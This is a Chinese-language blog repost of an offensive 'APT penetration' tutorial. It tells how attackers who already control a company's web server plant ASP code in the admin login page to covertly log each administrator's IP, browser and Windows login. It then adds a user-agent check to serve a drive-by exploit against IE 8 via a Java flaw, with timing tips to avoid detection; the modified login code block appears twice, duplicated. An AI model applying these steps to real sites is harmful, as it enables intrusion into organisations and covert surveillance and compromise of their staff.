Leave a comment (0) 作者:adwin

好长一段时间没怎么更新博客了,基本快属于闲置的状态了,真的挺对不起自己的。好吧,我承认是我自己懒了。。。

这段时间真的很烦,很忙,很多事情要去做。

刚刚看了看自己的博客,真的不忍心一个月都没什么文章,所以决定以后多更新一下博客,先从我大习科的一篇优秀的文章写起吧。= =,其实复制粘贴也好辛苦的。

废话结束,以下正文。

 

 

近年来,我们经常会看到海内外的一些大公司遭到APT攻击的报告,APT这个字眼越来越频繁的出现在大家的屏幕上,那么什么是APT攻击呢?
APT攻击又称持续性攻击,严格来讲,其实APT没有什么特定的形式,但是APT攻击却有一个共同的特征就是手法宽泛,综合性较强,而且持续时间长,往往是针对个人下手进而控制大范围的网络权限。
其实APT并没有什么特别神秘的地方,这就好比美国阿波罗11号登月飞船,美国的阿波罗11号飞船其实并没什么领先于其他国家的超级先进技术,但是他却综合了各个领域最尖端的科技成果,完美组合利用最终成功登月。APT渗透其实就是这样,往往进行APT渗透的团队他们并没有掌握比其他团队更先进的攻击手法, 或者0day之类的东西,但是讲各个方面的bug,exploit组合利用,加以长时间社工等信息交互,最终成功渗透大范围的网络。
习科核心技术团队作为国内优秀的网络安全技术团队,在这里将以长期连载实例帖子形式一步一步为大家揭开APT渗透的神秘面纱。

APT持续性综合渗透经验谈第一讲 从Web到PC 1 踩点
作者:习科核心技术团队 - Silic Network Security Solutions
//BlackBap.Org
本帖以某个中小型公司为例,讲述APT进行“踩点”的一个简单方式,本帖子中的踩点比较简单,但是却是迈开持续性渗透的第一步
目标公司具有一定规模,拥有自己的Web站点,也有自己公司的网络出口,公司网站使用的是虚拟主机,并且有自己的邮件服务器。
因为直接取邮件服务器的成功率非常低,成功率甚至低于1%,所以我们选择了对Web网站进行攻击。
取Web服务器这一步,本帖子中就不再陈述,因为这并不属于我们要在本贴中认真探讨的话题,事实上,即使取不到Web服务器,我们仍然有其他的办法。
我们取到Web服务器的唯一价值就是,摸清这个公司的网络进出口,以及对网站的管理员进行持续性攻击
首先要从管理员那里获得信息,就要从管理入口下手

截图中已经显示了这个后台中的完整form表格,当default.asp文件对cmd变量取值为login时,后台程序将验证管理员密码的正确性。
那么我们再来看看default.asp的代码:

......
 
if request("cmd")="login"  then
 
username=safe(request.form("username"))
 
password=safe(request.form("password"))
 
if trim(username)="" or trim(password)="" then
 
        showmsg "请填写登陆信息",2,"default.asp"
 
end if
 
set rs=server.createobject("adodb.recordset")
 
sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"
 
rs.open sql,conn,1,1
 
if rs.eof or rs.bof then
 
        showmsg "用户名不存在",2,"default.asp"
 
end if
 
if md5(password)<>trim(rs("password")) then
 
        showmsg "密码错误",2,"default.asp"
 
else
 
        session("userid")=rs("seq")
 
        session("user_role")=rs("user_role")
 
        session("islogin")=true
 
        session("sex")=rs("sex")
 
        session("netlogin")="82090704"
 
        session("passwd")=md5(password)
 
        session("username")=username
 
        session("truename")=rs("truename")
 
        showmsg "登陆成功!",2,"main.asp"
 
end if
 
......

我们可以看到当cmd取值为login的时候,default都执行了什么代码,最后的else后面是登陆成功后系统执行的代码
这里正好是我们可以利用的代码,既然登陆成功的一定是管理员(这个前提当然是这个网站已经没有可以被小黑利用的漏洞的前提了)
我们既然要利用这里对管理员进行信息收集,那么可以插入一些简单的成型的代码:

......
 
if request("cmd")="login"  then
 
username=safe(request.form("username"))
 
password=safe(request.form("password"))
 
if trim(username)="" or trim(password)="" then
 
        showmsg "请填写登陆信息",2,"default.asp"
 
end if
 
set rs=server.createobject("adodb.recordset")
 
sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"
 
rs.open sql,conn,1,1
 
if rs.eof or rs.bof then
 
        showmsg "用户名不存在",2,"default.asp"
 
end if
 
if md5(password)<>trim(rs("password")) then
 
        showmsg "密码错误",2,"default.asp"
 
else
 
'首先建立一个用于记录管理员信息的文件record.html
 
        rfile = "record.html"
 
'这是记录管理员ip的代码
 
        userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
 
        If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
 
        userhost = Request.ServerVariables("Remote_Host")
 
'这里记录登陆者的浏览器和系统信息
 
        uuser = Request.ServerVariables("HTTP_USER_AGENT")
 
'这里是记录已经登陆的WinNT账户的,成功率低于1‰
 
        userlogin = Request.ServerVariables("LOGON_USER")
 
'最后对数据进行格式化整理和写入文件
 
        data = "<pre>" & vbcrlf & "User Host: " & userhost & "<br />" & vbcrlf & "User IP: " & userip & "<br />" & vbcrlf & "User Agent: " & uuser & "<br />" & vbcrlf & "System Login Name: " & userlogin & "<br />" & vbcrlf & "Time: " & now & "<br />" & vbcrlf & "</pre>" & vbcrlf & "<hr><br />" & vbcrlf
 
        Set Fs=Server.CreateObject("Scripting.FileSystemObject")
        Set File=Fs.OpenTextFile(Server.MapPath(rfile),8,Flase)
 
        File.Writeline data
 
        File.Close
 
'记录结束
 
        session("userid")=rs("seq")
 
        session("user_role")=rs("user_role")
 
        session("islogin")=true
 
        session("sex")=rs("sex")
 
        session("netlogin")="82090704"
 
        session("passwd")=md5(password)
 
        session("username")=username
 
        session("truename")=rs("truename")
 
        showmsg "登陆成功!",2,"main.asp"
 
end if
 
......

......
 
if request("cmd")="login"  then
 
username=safe(request.form("username"))
 
password=safe(request.form("password"))
 
if trim(username)="" or trim(password)="" then
 
        showmsg "请填写登陆信息",2,"default.asp"
 
end if
 
set rs=server.createobject("adodb.recordset")
 
sql="select seq,username,password,truename,user_role,sex from admin32 where username='"&username&"' and user_role>1"
 
rs.open sql,conn,1,1
 
if rs.eof or rs.bof then
 
        showmsg "用户名不存在",2,"default.asp"
 
end if
 
if md5(password)<>trim(rs("password")) then
 
        showmsg "密码错误",2,"default.asp"
 
else
 
'首先建立一个用于记录管理员信息的文件record.html
 
        rfile = "record.html"
 
'这是记录管理员ip的代码
 
        userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
 
        If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
 
        userhost = Request.ServerVariables("Remote_Host")
 
'这里记录登陆者的浏览器和系统信息
 
        uuser = Request.ServerVariables("HTTP_USER_AGENT")
 
'这里是记录已经登陆的WinNT账户的,成功率低于1‰
 
        userlogin = Request.ServerVariables("LOGON_USER")
 
'最后对数据进行格式化整理和写入文件
 
        data = "<pre>" & vbcrlf & "User Host: " & userhost & "<br />" & vbcrlf & "User IP: " & userip & "<br />" & vbcrlf & "User Agent: " & uuser & "<br />" & vbcrlf & "System Login Name: " & userlogin & "<br />" & vbcrlf & "Time: " & now & "<br />" & vbcrlf & "</pre>" & vbcrlf & "<hr><br />" & vbcrlf
 
        Set Fs=Server.CreateObject("Scripting.FileSystemObject")
        Set File=Fs.OpenTextFile(Server.MapPath(rfile),8,Flase)
 
        File.Writeline data
 
        File.Close
 
'记录结束
 
        session("userid")=rs("seq")
 
        session("user_role")=rs("user_role")
 
        session("islogin")=true
 
        session("sex")=rs("sex")
 
        session("netlogin")="82090704"
 
        session("passwd")=md5(password)
 
        session("username")=username
 
        session("truename")=rs("truename")
 
        showmsg "登陆成功!",2,"main.asp"
 
end if
 
......

正常情况下,一个公司都是周一至周五办公,因此这段记录代码我们是从周一上班之前插入,通常是周末将这段代码插入到目标公司的后台,并且要在周日晚之前调试完成。
这里之所以要注意时间,因为目标公司不一定是在中国本土,可能在日韩,或者北美,欧洲,他们的时区要注意。
另外也插代码插失败的时候,管理员如果刚好在线,就会很悲剧,给渗透的后半段造成的严重阻碍。无巧不成书的,调试代码错误的时候管理员刚巧在线的情况又不是没有过,所以一定要注意。

对于这个信息采集,并不是一次性完成的,我们需要对管理员的登陆频率,登陆地点以及使用的系统环境如何,都有一定的掌握。
这个采集首先进行一个完整的礼拜,这个礼拜只进行记录和统计,不进行下一步动作。
我们来看一下我们统计的结果:

一个礼拜下来,我们发现每天管理员都登陆网站后台一次,我们共记录到了5次
周一:Windows XP,Safari浏览器
周二:Windows XP,IE 8
周三:Windows XP,IE 6, .NET 2.0 & .NET 4.0
周四:Windows XP,IE 8
周五:Windows XP,IE 6

这里的ip是同一个ip,所以我们可以确认这个ip肯定是目标公司的出入口。

其次,我们看到至少有4台不同的机器登陆后台,我们逐一分析。
周一的机器我们猜测可能是管理员的PC,笔记本之类的,可能是周末带回家做了什么东西,周一带回来使用并登陆了后台,这台机器估计安全性应该较高
周二和周四的机器可能是同一台机器,IE8可以利用近期的Java漏洞挂马
周三的机器是IE6,装了.NET FrameWork,有理由怀疑是有某个公司内部使用的程序,例如人事管理系统,财务管理系统

这里选择下手的机器也是要深思熟虑的。
如果直接对周三的机器下手,用.NET的安全问题挂马,可能会成功,但是这台机器登陆的频率可能不会很多,而且如果不巧是其他机器登陆的,那么挂马不但失败,而且还会被发现
虽然挂马是可以根据浏览器版本等信息进行筛选,可是周五的机器也是IE 6,总之直接对周三的机器下手,至少要等到拿到一台目标公司的机器以后才能进行。
一次,我们在这里决定使用近期出现的java漏洞,对周二和周四的IE 8进行攻击。

这样的话,我们就来构造挂马脚本:

'这里的uuser变量是前面取到的浏览器信息 user_agent
 
Agent=Split(uuser,";")
 
If InStr(Agent(1),"MSIE")>0 Then
 
        version=Trim(Left(Replace(Agent(1),"MSIE",""),6))
 
        If InStr(version,")") > 0 Then
 
                tmpstr=Split(version,")")
 
                version=tmpstr(0)
 
        End If
 
End If
 
'上面对浏览器版本判断和取值完毕以后,针对不同版本进行攻击
 
if version="8.0" then
 
        response.Write("挂马代码")
 
end if

这里的挂马也是要经过调试的,调试的时间和信息收集一样,仍然是在周末中进行,要在周日晚之前调试成功并且结束。剩下的就是坐等管理员上线了。
至于网马代码从哪里搞,这个就是要关注各个安全发布平台了,免杀呢,习科有专门的免杀远控,甚至还有成熟的dll劫持远控,这里就不详细阐述了,毕竟习科是个技术平台而不是个木马传播平台。
本帖中的内容比较基本和简单,后面将陆续深入讲解,仍然是以灌输思想为主,敬请期待
//BlackBap.Org

分享到:

我也说两句 »